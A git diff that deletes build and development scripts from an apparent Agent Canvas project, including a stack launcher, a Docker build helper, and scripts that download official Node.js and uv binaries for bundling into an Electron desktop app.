c.yellow, - ); - return false; -} - -function printBanner(config) { - const stackName = config.frontendOnly - ? "Agent Canvas Frontend Stack" - : config.backendOnly - ? "Agent Canvas Backend Stack" - : "Agent Canvas + Automation Stack"; - - // padEnd counts invisible ANSI escape bytes as visible characters, so we - // compute the visible length separately and pad with spaces accordingly. - const ansiEscape = String.fromCharCode(27); - const ansiRe = new RegExp(`${ansiEscape}\\[[0-9;]*m`, "g"); - const ansiPadEnd = (str, targetVisible) => { - const visible = str.replace(ansiRe, "").length; - return str + " ".repeat(Math.max(0, targetVisible - visible)); - }; - // The box has 62-char inner width; each content line needs 63 visible chars - // before the trailing border (1 leading ║ + 62 inner). - const BOX_INNER = 63; - - console.log(""); - console.log( - `${c.green}${c.bold}╔══════════════════════════════════════════════════════════════╗${c.reset}`, - ); - console.log( - ansiPadEnd( - `${c.green}${c.bold}║${c.reset} ${c.bold}${stackName}${c.reset}`, - BOX_INNER, - ) + `${c.green}${c.bold}║${c.reset}`, - ); - console.log( - `${c.green}${c.bold}╠══════════════════════════════════════════════════════════════╣${c.reset}`, - ); - console.log( - `${c.green}${c.bold}║${c.reset} ${c.green}${c.bold}║${c.reset}`, - ); - console.log( - ansiPadEnd( - `${c.green}${c.bold}║${c.reset} Ingress: ${c.cyan}http://localhost:${config.ingressPort}/${c.reset}`, - BOX_INNER, - ) + `${c.green}${c.bold}║${c.reset}`, - ); - if (config.launchFrontend) { - console.log( - ansiPadEnd( - `${c.green}${c.bold}║${c.reset} Main UI: ${c.cyan}http://localhost:${config.ingressPort}/${c.reset}`, - BOX_INNER, - ) + `${c.green}${c.bold}║${c.reset}`, - ); - } - if (config.launchAutomation) { - console.log( - ansiPadEnd( - `${c.green}${c.bold}║${c.reset} API Docs: ${c.cyan}http://localhost:${config.ingressPort}/api/automation/docs${c.reset}`, - BOX_INNER, - ) + `${c.green}${c.bold}║${c.reset}`, - ); - } - console.log( - `${c.green}${c.bold}║${c.reset} ${c.green}${c.bold}║${c.reset}`, - ); - console.log( - `${c.green}${c.bold}╚══════════════════════════════════════════════════════════════╝${c.reset}`, - ); - console.log(""); - console.log(`${c.dim}State directory: ${config.stateDir}${c.reset}`); - console.log(`${c.dim}Press Ctrl+C to stop${c.reset}`); - console.log(""); - - // Write a compact plain-text summary to the log file. - const summary = [ - `${stackName} — started`, - ` Ingress: http://localhost:${config.ingressPort}/`, - ...(config.launchFrontend - ? [` Main UI: http://localhost:${config.ingressPort}/`] - : []), - ...(config.launchAutomation - ? [ - ` API Docs: http://localhost:${config.ingressPort}/api/automation/docs`, - ] - : []), - ` State directory: ${config.stateDir}`, - ]; - fileLog("info", summary.join("\n")); -} - -async function main(options = {}) { - const { - bannerTitle = "Agent Canvas + Automation Development Stack", - startAgentServer: startAgentServerOverride, - extraPrereqs, - viteWorkingDir, - // Path used as `AUTOMATION_WORKSPACE_BASE` by the automation backend. - // Defaults to a host-side path under config.stateDir. - automationWorkspaceBase, - // Host used in `AUTOMATION_BASE_URL` (the URL the automation sandbox - // uses to call back into the automation backend). Defaults to `localhost`. - automationApiHost, - // Value exported as `AUTOMATION_SANDBOX_AGENT_SERVER_URL` to the - // automation backend. This is the URL the in-sandbox bash chain uses - // to reach the agent-server. When unset the backend falls back to - // AUTOMATION_AGENT_SERVER_URL. - sandboxAgentServerUrl, - staticMode: staticModeOverride, - defaultStaticMode = false, - buildStaticFrontend, - staticDir: staticDirOverride, - // Hostname the agent uses to reach services running on the host. - agentHostAlias = "localhost", - // Human-readable label for the dev mode, surfaced in the agent's - // system-prompt block. - mode = "dev:automation", - // When true, enable public mode (require LOCAL_BACKEND_API_KEY, - // don't bake session key into frontend). - isPublic: isPublicOverride, - // When true, skip the npm prerequisite check. Used by the Electron desktop - // launcher where npm is not needed at runtime in static mode. - skipNpmCheck = false, - // How long to wait for the agent-server's `/server_info` to return 200 - // before continuing. Defaults to 60 s, which is fine for warm-cache dev - // workflows. The Electron desktop launcher bumps this to several minutes - // because first-launch on a fresh machine runs `uvx` to download Python - // and install `openhands-agent-server` from PyPI, which can take much - // longer than 60 s on a slow network. - agentServerReadyTimeoutMs = 60_000, - // Optional `(name, line, level)` callback that receives every service log - // line (stdout, stderr, and lifecycle events) emitted by any spawned - // backend process. Used by the Electron loading screen to surface uvx - // download / install progress to the user. `level` is one of - // "stdout" | "stderr" | "info" | "warn" | "error". - onServiceLog, - } = options; - - // Install the listener early so log lines emitted before the first - // `spawnService` call (e.g. by future setup steps) are also captured. - setServiceLogListener(onServiceLog); - - const args = parseArgs(); - - // Allow options to override CLI args for public mode - if (isPublicOverride != null) { - args.public = isPublicOverride; - } - - // Allow options to override CLI args (for bin/agent-canvas.mjs) - const useStaticMode = - staticModeOverride ?? - (args.dynamic ? false : args.static || defaultStaticMode); - const staticDir = - staticDirOverride ?? args.staticDir ?? join(projectRoot, "build"); - - const modeLabel = useStaticMode && !args.backendOnly ? "(Static)" : ""; - const titleWithMode = modeLabel ? `${bannerTitle} ${modeLabel}` : bannerTitle; - - console.log(""); - console.log(`${c.cyan}${c.bold}${titleWithMode}${c.reset}`); - console.log(""); - fileLog("info", titleWithMode); - - // Setup phase - checkPrerequisites({ - checkUvx: !args.frontendOnly, - // Static-mode + backend-only has no frontend to build, so npm is not - // required — unless the caller provides a custom buildStaticFrontend hook. - // The Electron desktop launcher passes `skipNpmCheck: true` because the - // packaged binary serves a pre-built static frontend and never invokes - // npm at runtime, so we suppress the check unconditionally there. - checkNpm: - !skipNpmCheck && - ((!useStaticMode && !args.backendOnly) || - typeof buildStaticFrontend === "function"), - checkFrontendDependencies: - (!useStaticMode && !args.backendOnly) || - typeof buildStaticFrontend === "function", - }); - - // Fail fast on an obviously bad OH_AGENT_SERVER_LOCAL_PATH so we don't waste - // time allocating ports / generating keys / launching uvx with a path that - // would only produce a cryptic build error. Mirrors dev-safe.mjs and - // dev-extra-backend.mjs. - if (!args.frontendOnly && process.env.OH_AGENT_SERVER_LOCAL_PATH) { - try { - validateLocalAgentServerPath(process.env.OH_AGENT_SERVER_LOCAL_PATH); - } catch (error) { - logError(error instanceof Error ? error.message : String(error)); - process.exit(1); - } - } - - // Build config with dynamic port allocation - const config = await buildConfig(args); - if (viteWorkingDir) config.viteWorkingDir = viteWorkingDir; - if (automationWorkspaceBase) { - config.automationWorkspaceBase = automationWorkspaceBase; - } - if (automationApiHost) { - config.automationApiHost = automationApiHost; - } - if (sandboxAgentServerUrl) { - config.sandboxAgentServerUrl = sandboxAgentServerUrl; - } - // Stamp the dev-mode label, host alias, and frontend kind on the config - // so downstream helpers (Vite spawn, static build) can produce a - // runtime-services info object describing what the agent can reach. - config.mode = mode; - config.agentHostAlias = agentHostAlias; - config.frontendKind = useStaticMode ? "static" : "vite"; - ensureDirectories(config); - if (typeof extraPrereqs === "function") { - extraPrereqs(config); - } - - if ( - config.launchFrontend && - useStaticMode && - typeof buildStaticFrontend === "function" - ) { - buildStaticFrontend(config, args); - } - - // In static mode, verify build exists after any launcher-managed build. - if (config.launchFrontend && useStaticMode && !existsSync(staticDir)) { - logError(`Static directory not found: ${staticDir}`); - logError(`Run 'npm run build' first to create the static files.`); - process.exit(1); - } - - // Start services phase - logStep("2/2", "Starting services..."); - - let agentServerReady = false; - - // 1. Start agent-server first (automation depends on it). - // - // Readiness timeout defaults to 60 s, which is fine for `npm run dev` against - // a warm uvx cache. The Electron desktop launcher overrides this via the - // `agentServerReadyTimeoutMs` option because first-launch on a fresh machine - // runs `uvx` to download Python + install `openhands-agent-server` from PyPI, - // which can take several minutes. Dropping the user into a half-booted UI - // before that completes triggers axios "Request timeout" popups on the first - // SPA fetch that hits an unbound port 18000. - if (config.launchAgentServer) { - const agentServerStarter = startAgentServerOverride ?? startAgentServer; - agentServerStarter(config); - - agentServerReady = await waitForService( - "agent-server", - `http://localhost:${config.agentServerPort}/server_info`, - agentServerReadyTimeoutMs, - ); - } - - // 2. Seed automation API key into agent-server secrets - // This makes the key available to agents during conversations - // Note: seedAutomationSecret has its own retry logic if server is still warming up - if (config.launchAutomation && agentServerReady) { - await seedAutomationSecret(config); - } else if (config.launchAutomation) { - logService( - "secrets", - "Skipping secret seeding - agent-server not ready", - c.yellow, - ); - } - - // 3. Start automation backend - if (config.launchAutomation) { - startAutomationBackend(config); - } - - // 4. Start frontend server (Vite dev server OR static server) - if (config.launchFrontend) { - if (useStaticMode) { - startStaticFrontend(config, staticDir); - } else { - startVite(config); - } - } - - // 5. Wait for services to be ready - await delay(2000); - - // 6. Start ingress proxy (routes traffic only to running services) - startIngress(config); - - // Wait for ingress to start - await delay(1000); - - printBanner(config); - - // Return the resolved config + readiness signal so embedded launchers can - // (a) build URLs from the actual allocated ports and (b) decide whether to - // show an error to the user when the agent-server never came up. - return { config, agentServerReady }; -} - -function startStaticFrontend(config, staticDir) { - logService("static", `Starting on port ${config.vitePort}...`, c.magenta); - logService("static", `Serving from: ${staticDir}`, c.dim); - - // Build the runtime-services info JSON so the pre-built frontend can - // populate the agent's system-prompt block without - // VITE_RUNTIME_SERVICES_INFO baked in at build time. - const runtimeServicesInfo = config.launchAgentServer - ? JSON.stringify(buildAutomationRuntimeServicesInfo(config)) - : null; - - const staticServerScript = join(projectRoot, "scripts", "static-server.mjs"); - spawnService( - "static", - "node", - [ - staticServerScript, - "--dir", - staticDir, - "--port", - String(config.vitePort), - ...(process.env.VITE_BASE_PATH - ? ["--base-path", process.env.VITE_BASE_PATH] - : []), - // In local mode, inject the API key so the pre-built frontend can - // authenticate transparently. In public mode, pass --auth-required - // so the frontend shows the API key entry screen instead. - ...(config.launchAgentServer && !config.isPublic && config.sessionApiKey - ? ["--session-api-key", config.sessionApiKey] - : []), - ...(config.launchAgentServer && config.isPublic - ? ["--auth-required"] - : []), - // Inject runtime-services info so the agent knows what's reachable. - ...(runtimeServicesInfo - ? ["--runtime-services-info", runtimeServicesInfo] - : []), - // Proxy routes only to services that this launch mode started. - ...buildRouteArgs(getLocalServiceRoutes(config)), - // Reject known API prefixes that have no backend — returns 503 - // instead of SPA-fallbacking to index.html. - ...buildRejectPrefixArgs(getRejectPrefixes(config)), - ], - { - cwd: config.canvasPath, - color: c.magenta, - }, - ); -} - -// ═══════════════════════════════════════════════════════════════════════════ -// Exports for testing -// ═══════════════════════════════════════════════════════════════════════════ - -export { - buildAgentServerAutomationEnv, - buildAutomationCommand, - buildAutomationTelemetryEnv, - buildConfig, - buildRouteArgs, - buildViteBackendEnv, - getFrontendBackend, - getLocalServiceRoutes, - main, - registerShutdownHook, - spawnService, - commandExists, - logService, - logStep, - logSuccess, - logError, - c, - DEFAULT_AUTOMATION_REPO, - DEFAULT_AUTOMATION_PACKAGE, - DEFAULT_AUTOMATION_VERSION, - DEFAULT_AUTOMATION_SDK_VERSION, - DEFAULT_BACKEND_PORT, - DEFAULT_AUTOMATION_PORT, -}; - -// ═══════════════════════════════════════════════════════════════════════════ -// Main entry point (only when run directly, not when imported) -// ═══════════════════════════════════════════════════════════════════════════ - -// Check if this module is the main entry point -const isMainModule = - process.argv[1] && import.meta.url === pathToFileURL(process.argv[1]).href; - -if (isMainModule) { - main().catch((err) => { - logError(`Fatal error: ${err.message}`); - if (err.stack) { - console.error(c.dim + err.stack + c.reset); - fileLog("error", err.stack); - } - process.exit(1); - }); -} diff --git a/scripts/docker-build.mjs b/scripts/docker-build.mjs deleted file mode 100644 index 66a411c95..000000000 --- a/scripts/docker-build.mjs +++ /dev/null @@ -1,75 +0,0 @@ -#!/usr/bin/env node -/** - * Local Docker build helper. - * - * Reads version pins from config/defaults.json and invokes `docker build` - * with the correct --build-arg values so developers never need to remember - * (or hardcode) version strings. - * - * Usage: - * node scripts/docker-build.mjs # defaults - * node scripts/docker-build.mjs --tag my-tag # custom tag - * node scripts/docker-build.mjs -- --no-cache # extra docker args - */ -import { readFileSync } from "node:fs"; -import { execFileSync } from "node:child_process"; -import { fileURLToPath } from "node:url"; -import { dirname, join } from "node:path"; - -const __dirname = dirname(fileURLToPath(import.meta.url)); -const projectRoot = join(__dirname, ".."); - -const config = JSON.parse( - readFileSync(join(projectRoot, "config", "defaults.json"), "utf-8"), -); - -const agentServerImage = `${config.images.agentServer}:${config.versions.agentServer}-python`; -const automationVersion = config.versions.automation; -const canvasBasePath = config.paths.canvasBasePath; - -// Parse CLI: --tag and everything after -- is passed to docker build -let tag = "agent-canvas:local"; -const extraArgs = []; -const args = process.argv.slice(2); -for (let i = 0; i < args.length; i++) { - if (args[i] === "--tag" && i + 1 < args.length) { - tag = args[++i]; - } else if (args[i] === "--") { - extraArgs.push(...args.slice(i + 1)); - break; - } else { - extraArgs.push(args[i]); - } -} - -const cmd = [ - "docker", - "build", - "-f", - "docker/Dockerfile", - "--build-arg", - `AGENT_SERVER_IMAGE=${agentServerImage}`, - "--build-arg", - `AUTOMATION_VERSION=${automationVersion}`, - "--build-arg", - `VITE_BASE_PATH=${canvasBasePath}`, - "-t", - tag, - ...extraArgs, - ".", -]; - -console.log(`Agent Server image : ${agentServerImage}`); -console.log(`Automation version : ${automationVersion}`); -console.log(`Canvas base path : ${canvasBasePath}`); -console.log(`Tag : ${tag}`); -console.log(`\n$ ${cmd.join(" ")}\n`); - -try { - execFileSync(cmd[0], cmd.slice(1), { - cwd: projectRoot, - stdio: "inherit", - }); -} catch (err) { - process.exit(err.status || 1); -} diff --git a/scripts/download-node.mjs b/scripts/download-node.mjs deleted file mode 100644 index 6826ef602..000000000 --- a/scripts/download-node.mjs +++ /dev/null @@ -1,382 +0,0 @@ -#!/usr/bin/env node -/** - * Download the official Node.js distribution for the current platform into - * resources/node/, so electron-builder can bundle it as an extraResource. - * - * The packaged Electron desktop app uses this bundled Node to provide - * `node`, `npm`, and `npx` to spawned subprocesses — most importantly the - * stdio MCP servers in the marketplace (Slack, GitHub, Figma, etc.) whose - * commands start with `npx -y `. - * - * Why bundle Node instead of using Electron-as-Node (ELECTRON_RUN_AS_NODE=1)? - * - * We tried that first. Electron-as-Node works fine for our backend - * helper scripts (static-server.mjs, ingress.mjs) which mostly do - * networking, but it is **not** reliable for stdio JSON-RPC servers. - * When npx-cli.js (running under Electron-as-Node) spawned the MCP - * server, the child's stdin pipe semantics differed from vanilla Node - * on macOS (the parent is a windowed Electron process, not a clean - * command-line Node binary) — the server appeared to start, then - * immediately exited with "McpError: Connection closed" before the - * first JSON-RPC handshake message could land. Bundling the real - * Node binary sidesteps all of that. - * - * The downloaded Node.js distribution already includes npm and npx at - * `bin/npm` / `bin/npx` (POSIX) or `npm.cmd` / `npx.cmd` (Windows), so we - * do **not** need a separate npm download (this script supersedes the - * earlier download-npm.mjs). - * - * Usage: - * node scripts/download-node.mjs # uses NODE_BUNDLE_VERSION below - * NODE_VERSION=22.10.0 node scripts/download-node.mjs - * - * Output (per platform): - * POSIX: resources/node/bin/{node,npm,npx} + resources/node/lib/node_modules/npm/... - * Windows: resources/node/{node.exe,npm.cmd,npx.cmd} + resources/node/node_modules/npm/... - */ - -import { - chmodSync, - createWriteStream, - existsSync, - lstatSync, - mkdirSync, - readdirSync, - readlinkSync, - rmSync, - statSync, - unlinkSync, -} from "node:fs"; -import { get } from "node:https"; -import { tmpdir } from "node:os"; -import { dirname, join } from "node:path"; -import { fileURLToPath } from "node:url"; -import { execFileSync } from "node:child_process"; - -const __dirname = dirname(fileURLToPath(import.meta.url)); -const projectRoot = join(__dirname, ".."); -const outDir = join(projectRoot, "resources", "node"); - -// Pinned Node version. Electron 42 ships Node 22, so we bundle a 22.x -// LTS release to match the embedded runtime's ABI/native-module surface. -// We intentionally use 22.12.0 — the repo's own support floor -// (package.json engines.node >=22.12.0, volta 22.12.0) — rather than -// Electron 42.3.2's exact embedded Node patch level: the bundled binary -// runs this repo's launcher scripts, and native modules only need ABI -// parity (NODE_MODULE_VERSION 127, shared by all 22.x builds). -// Override at build time with NODE_VERSION=… (e.g. to test against a -// newer release). Major version >=22 only; engines.node in npm 10.x -// requires ^18.17.0 || >=20.5.0. -const NODE_BUNDLE_VERSION = "22.12.0"; - -// ── Platform detection ─────────────────────────────────────────────────────── - -const PLATFORM = process.platform; // 'darwin' | 'linux' | 'win32' -const ARCH = process.arch; // 'x64' | 'arm64' | 'ia32' - -/** - * Map (platform, arch) → Node's published distribution name. - * Names come straight from https://nodejs.org/dist//. - * - * macOS arm64 → node-v-darwin-arm64.tar.gz - * macOS x64 → node-v-darwin-x64.tar.gz - * linux x64 → node-v-linux-x64.tar.gz - * linux arm64 → node-v-linux-arm64.tar.gz - * win32 x64 → node-v-win-x64.zip - * win32 arm64 → node-v-win-arm64.zip - */ -function getPlatformSpec(version) { - const base = `node-v${version}`; - if (PLATFORM === "darwin") { - const arch = ARCH === "arm64" ? "arm64" : "x64"; - return { name: `${base}-darwin-${arch}`, ext: "tar.gz" }; - } - if (PLATFORM === "linux") { - const arch = ARCH === "arm64" ? "arm64" : "x64"; - return { name: `${base}-linux-${arch}`, ext: "tar.gz" }; - } - if (PLATFORM === "win32") { - const arch = ARCH === "arm64" ? "arm64" : "x64"; - return { name: `${base}-win-${arch}`, ext: "zip" }; - } - throw new Error(`Unsupported platform for Node download: ${PLATFORM}/${ARCH}`); -} - -// ── Version resolution ─────────────────────────────────────────────────────── - -function resolveVersion() { - const requested = process.env.NODE_VERSION?.replace(/^v/, ""); - return requested || NODE_BUNDLE_VERSION; -} - -// ── HTTP helpers ───────────────────────────────────────────────────────────── - -function downloadFile(url, dest) { - return new Promise((resolve, reject) => { - const file = createWriteStream(dest); - function doGet(u) { - get(u, { headers: { "User-Agent": "agent-canvas-build" } }, (res) => { - if (res.statusCode === 301 || res.statusCode === 302) { - return doGet(res.headers.location); - } - if (res.statusCode !== 200) { - file.destroy(); - return reject(new Error(`GET ${u} → HTTP ${res.statusCode}`)); - } - res.pipe(file); - file.on("finish", () => file.close(resolve)); - file.on("error", reject); - res.on("error", reject); - }).on("error", (err) => { - file.destroy(); - reject(err); - }); - } - doGet(url); - }); -} - -// ── Extraction ─────────────────────────────────────────────────────────────── - -function extract(archivePath, targetDir, ext) { - // Both tar.gz and zip extract via system `tar`: - // GNU/BSD tar (macOS/Linux) handles .tar.gz natively. - // bsdtar (Windows 10+) handles both .tar.gz and .zip. - // --strip-components=1 drops the "node-vX.Y.Z--/" top dir. - void ext; // archive content is identified by tar's own magic bytes - execFileSync( - "tar", - ["-xf", archivePath, "-C", targetDir, "--strip-components=1"], - { stdio: "inherit" }, - ); -} - -function ensureExecutable(p) { - if (process.platform === "win32") return; - try { - chmodSync(p, 0o755); - } catch {} -} - -// ── Layout verification ────────────────────────────────────────────────────── - -/** - * Confirm the extracted tree has the binaries we depend on. - * On Unix Node puts them in bin/; on Windows they live at the root. - */ -function verifyLayout() { - const isWin = PLATFORM === "win32"; - const required = isWin - ? ["node.exe", "npm.cmd", "npx.cmd"] - : ["bin/node", "bin/npm", "bin/npx"]; - for (const rel of required) { - const p = join(outDir, rel); - if (!existsSync(p)) { - throw new Error( - `Expected ${rel} in extracted Node distribution but it is missing ` + - `at ${p}. Did the tarball layout change?`, - ); - } - ensureExecutable(p); - } - - // npm/npx are wrapper scripts that invoke node against npm's JS entry - // points; verify the targets exist too so a packaged build doesn't ship - // a half-broken installation. - const npmCli = isWin - ? join(outDir, "node_modules", "npm", "bin", "npm-cli.js") - : join(outDir, "lib", "node_modules", "npm", "bin", "npm-cli.js"); - if (!existsSync(npmCli)) { - throw new Error(`Bundled Node is missing npm-cli.js at ${npmCli}`); - } -} - -// ── Pruning ────────────────────────────────────────────────────────────────── - -/** - * Drop pieces of the Node distribution that are only useful when building - * native modules from source or for human-readable documentation. Stripping - * these shrinks the bundled Node from ~170 MB → ~115 MB on Linux x64 (the - * Node binary itself is the bulk of what remains and can't be reduced). - * - * Kept intentionally: - * bin/node, bin/npm, bin/npx — runtime binaries / wrappers - * lib/node_modules/{npm,corepack} — npm itself - * LICENSE — required by the BSD-style Node license - */ -function pruneUnusedFiles() { - // IMPORTANT: every entry that points into a directory we delete must also - // delete any symlink/shim that targets into it, otherwise electron-builder - // hits ENOENT trying to stat() the dangling symlink while copying the - // extraResource into the .app bundle. - // - // Example: Node's POSIX tarball ships `bin/corepack` as a symlink to - // `../lib/node_modules/corepack/dist/corepack.js`. If we drop the corepack - // module under lib/ but leave the symlink, `electron-builder` fails with - // ENOENT: ... Resources/node/bin/corepack - const candidates = - PLATFORM === "win32" - ? [ - // Windows Node zip lays out npm directly under node_modules/, not lib/. - // Strip docs, headers, and node_modules/corepack (the npm runtime - // doesn't need corepack to run, and we don't ship yarn/pnpm). - "CHANGELOG.md", - "README.md", - "node_modules/corepack", - // Windows ships corepack as both a Bash wrapper and a cmd.exe wrapper - // at the distribution root; both proxy into node_modules/corepack. - "corepack", - "corepack.cmd", - ] - : [ - // POSIX layout — keep bin/ and lib/node_modules/npm; drop the rest. - "include", - "share", - "CHANGELOG.md", - "README.md", - "lib/node_modules/corepack", - // Symlink in bin/ targets the corepack we just deleted. - "bin/corepack", - ]; - for (const rel of candidates) { - const p = join(outDir, rel); - // `rmSync(force: true)` resolves the path through symlinks, so once the - // corepack target directory is deleted the now-dangling `bin/corepack` - // link reads as "already gone" and silently survives — the exact ENOENT - // trap failOnDanglingSymlinks() exists to catch. Remove files/symlinks - // with `unlinkSync` (lstat semantics, works on dangling links) first and - // fall back to `rmSync` for directories. - try { - unlinkSync(p); - } catch { - try { - rmSync(p, { recursive: true, force: true }); - } catch { - // best-effort - } - } - } -} - -// ── Dangling-symlink check ─────────────────────────────────────────────────── - -/** - * Walk the pruned tree and refuse to finish if any symlink points at a path - * that no longer exists. electron-builder calls `stat()` (which follows - * symlinks) on every entry it copies into the .app bundle, so a single - * dangling symlink blows up the whole `build:desktop` step with a confusing - * ENOENT — fail at download time instead, with a message that says which - * pruned directory the symlink was reaching into. - */ -function failOnDanglingSymlinks() { - const broken = []; - const stack = [outDir]; - while (stack.length) { - const next = stack.pop(); - let entries; - try { - entries = readdirSync(next, { withFileTypes: true }); - } catch { - continue; - } - for (const entry of entries) { - const p = join(next, entry.name); - if (entry.isSymbolicLink()) { - try { - // statSync follows the link; if the target is gone this throws. - statSync(p); - } catch { - let target = ""; - try { - if (lstatSync(p).isSymbolicLink()) target = readlinkSync(p); - } catch { - // ignore — best-effort labelling - } - broken.push(`${p} → ${target}`); - } - } else if (entry.isDirectory()) { - stack.push(p); - } - } - } - if (broken.length) { - console.error( - "[download-node] Dangling symlinks remain after pruning — these would " + - "crash electron-builder later with ENOENT. Add the dangling symlink " + - "(or its target) to pruneUnusedFiles() in this script:", - ); - for (const entry of broken) console.error(" •", entry); - throw new Error(`${broken.length} dangling symlink(s) in resources/node/`); - } -} - -// ── Size report ────────────────────────────────────────────────────────────── - -function dirSizeBytes(dir) { - let total = 0; - const stack = [dir]; - while (stack.length) { - const next = stack.pop(); - let entries; - try { - entries = readdirSync(next, { withFileTypes: true }); - } catch { - continue; - } - for (const entry of entries) { - const p = join(next, entry.name); - if (entry.isDirectory()) { - stack.push(p); - } else { - try { - total += statSync(p).size; - } catch {} - } - } - } - return total; -} - -// ── Main ───────────────────────────────────────────────────────────────────── - -async function main() { - const version = resolveVersion(); - const spec = getPlatformSpec(version); - const archiveName = `${spec.name}.${spec.ext}`; - const url = `https://nodejs.org/dist/v${version}/${archiveName}`; - const tmpFile = join(tmpdir(), `node-download-${Date.now()}.${spec.ext}`); - - console.log( - `[download-node] Downloading Node v${version} for ${PLATFORM}/${ARCH}`, - ); - console.log(`[download-node] URL: ${url}`); - - try { - // Clear any previous output so stale files (different Node version, or - // a stale resources/npm/ from the previous wrapper approach) don't - // linger in the bundle. - if (existsSync(outDir)) rmSync(outDir, { recursive: true, force: true }); - mkdirSync(outDir, { recursive: true }); - - console.log(`[download-node] Downloading to ${tmpFile}`); - await downloadFile(url, tmpFile); - console.log(`[download-node] Extracting to ${outDir}`); - extract(tmpFile, outDir, spec.ext); - - verifyLayout(); - pruneUnusedFiles(); - failOnDanglingSymlinks(); - - const mb = Math.round(dirSizeBytes(outDir) / (1024 * 1024)); - console.log(`[download-node] ✓ Node v${version} ready at ${outDir} (~${mb} MB)`); - } finally { - try { - rmSync(tmpFile, { force: true }); - } catch {} - } -} - -main().catch((err) => { - console.error("[download-node] Error:", err.message); - process.exit(1); -}); diff --git a/scripts/download-uv.mjs b/scripts/download-uv.mjs deleted file mode 100644 index c8fda754f..000000000 --- a/scripts/download-uv.mjs +++ /dev/null @@ -1,204 +0,0 @@ -#!/usr/bin/env node -/** - * Download the uv binary for the current platform into resources/bin/ - * so that electron-builder can bundle it as an extraResource. - * - * uv provides uvx, which the Electron desktop app uses to run the - * agent-server and automation backend Python packages. - * - * Usage: - * node scripts/download-uv.mjs # uses latest GitHub release - * UV_VERSION=0.7.0 node scripts/download-uv.mjs - * - * Output (per platform): - * resources/bin/uv + resources/bin/uvx (macOS / Linux) - * resources/bin/uv.exe + resources/bin/uvx.exe (Windows) - */ - -import { - chmodSync, - copyFileSync, - createWriteStream, - existsSync, - mkdirSync, - rmSync, -} from "node:fs"; -import { get } from "node:https"; -import { tmpdir } from "node:os"; -import { dirname, join } from "node:path"; -import { fileURLToPath } from "node:url"; -import { execFileSync } from "node:child_process"; - -const __dirname = dirname(fileURLToPath(import.meta.url)); -const projectRoot = join(__dirname, ".."); -const outDir = join(projectRoot, "resources", "bin"); - -// ── Platform detection ───────────────────────────────────────────────────────── - -const PLATFORM = process.platform; // 'darwin' | 'linux' | 'win32' -const ARCH = process.arch; // 'x64' | 'arm64' - -function getPlatformSpec() { - if (PLATFORM === "darwin") { - const uvArch = ARCH === "arm64" ? "aarch64" : "x86_64"; - return { - target: `uv-${uvArch}-apple-darwin`, - ext: "tar.gz", - binaries: ["uv", "uvx"], - }; - } - if (PLATFORM === "linux") { - // Only x64 is officially supported by uv for desktop builds - return { - target: "uv-x86_64-unknown-linux-gnu", - ext: "tar.gz", - binaries: ["uv", "uvx"], - }; - } - if (PLATFORM === "win32") { - return { - target: "uv-x86_64-pc-windows-msvc", - ext: "zip", - binaries: ["uv.exe", "uvx.exe"], - }; - } - throw new Error(`Unsupported platform for uv download: ${PLATFORM}`); -} - -// ── Version resolution ──────────────────────────────────────────────────────── - -async function resolveVersion() { - if (process.env.UV_VERSION) { - return process.env.UV_VERSION.replace(/^v/, ""); - } - - console.log("[download-uv] Fetching latest uv version from GitHub API..."); - const headers = { "User-Agent": "agent-canvas-build" }; - // Unauthenticated api.github.com calls are rate-limited per IP (60/hour) — - // shared CI runner IPs exhaust that fast. CI passes GITHUB_TOKEN. - if (process.env.GITHUB_TOKEN) { - headers.Authorization = `Bearer ${process.env.GITHUB_TOKEN}`; - } - const data = await fetchJson( - "https://api.github.com/repos/astral-sh/uv/releases/latest", - headers - ); - const version = data.tag_name?.replace(/^v/, ""); - if (!version) throw new Error("Could not parse uv version from GitHub API"); - return version; -} - -// ── HTTP helpers ────────────────────────────────────────────────────────────── - -function fetchJson(url, headers = {}) { - return new Promise((resolve, reject) => { - get(url, { headers }, (res) => { - if (res.statusCode === 301 || res.statusCode === 302) { - return resolve(fetchJson(res.headers.location, headers)); - } - if (res.statusCode !== 200) { - return reject(new Error(`GET ${url} → HTTP ${res.statusCode}`)); - } - let body = ""; - res.on("data", (chunk) => (body += chunk)); - res.on("end", () => resolve(JSON.parse(body))); - res.on("error", reject); - }).on("error", reject); - }); -} - -function downloadFile(url, dest) { - return new Promise((resolve, reject) => { - const file = createWriteStream(dest); - function doGet(u) { - get(u, { headers: { "User-Agent": "agent-canvas-build" } }, (res) => { - if (res.statusCode === 301 || res.statusCode === 302) { - return doGet(res.headers.location); - } - if (res.statusCode !== 200) { - file.destroy(); - return reject(new Error(`GET ${u} → HTTP ${res.statusCode}`)); - } - res.pipe(file); - file.on("finish", () => file.close(resolve)); - file.on("error", reject); - res.on("error", reject); - }).on("error", (err) => { - file.destroy(); - reject(err); - }); - } - doGet(url); - }); -} - -// ── Extraction ──────────────────────────────────────────────────────────────── - -function extract(archivePath, targetDir, ext) { - // Both tar.gz and zip are handled by the system 'tar' command: - // macOS/Linux: GNU/BSD tar natively supports .tar.gz - // Windows 10+: built-in bsdtar supports both .tar.gz and .zip - // The tar.gz archives wrap uv/uvx in a top-level `uv-/` directory, - // which --strip-components=1 removes. uv's Windows .zip is flat (uv.exe / - // uvx.exe at the archive root) — stripping there would skip every entry - // and extract nothing. - const args = ["-xf", archivePath, "-C", targetDir]; - if (ext === "tar.gz") { - args.push("--strip-components=1"); - } - execFileSync("tar", args, { stdio: "inherit" }); -} - -// ── Main ────────────────────────────────────────────────────────────────────── - -async function main() { - const spec = getPlatformSpec(); - const version = await resolveVersion(); - - console.log(`[download-uv] Downloading uv v${version} for ${PLATFORM}/${ARCH}`); - - const filename = `${spec.target}.${spec.ext}`; - const url = `https://github.com/astral-sh/uv/releases/download/${version}/${filename}`; - const tmpFile = join(tmpdir(), `uv-download-${Date.now()}.${spec.ext}`); - const extractDir = join(tmpdir(), `uv-extract-${Date.now()}`); - - try { - mkdirSync(outDir, { recursive: true }); - mkdirSync(extractDir, { recursive: true }); - - console.log(`[download-uv] URL: ${url}`); - await downloadFile(url, tmpFile); - console.log(`[download-uv] Extracting to ${outDir}...`); - extract(tmpFile, extractDir, spec.ext); - - // Copy the required binaries to outDir - for (const bin of spec.binaries) { - const src = join(extractDir, bin); - const dest = join(outDir, bin); - - if (!existsSync(src)) { - throw new Error(`Expected binary not found after extraction: ${src}`); - } - - // copyFileSync works across filesystems (unlike renameSync with EXDEV) - copyFileSync(src, dest); - - if (process.platform !== "win32") { - chmodSync(dest, 0o755); - } - - console.log(`[download-uv] ✓ ${dest}`); - } - - console.log("[download-uv] Done. Binaries are ready for bundling."); - } finally { - // Clean up temp files 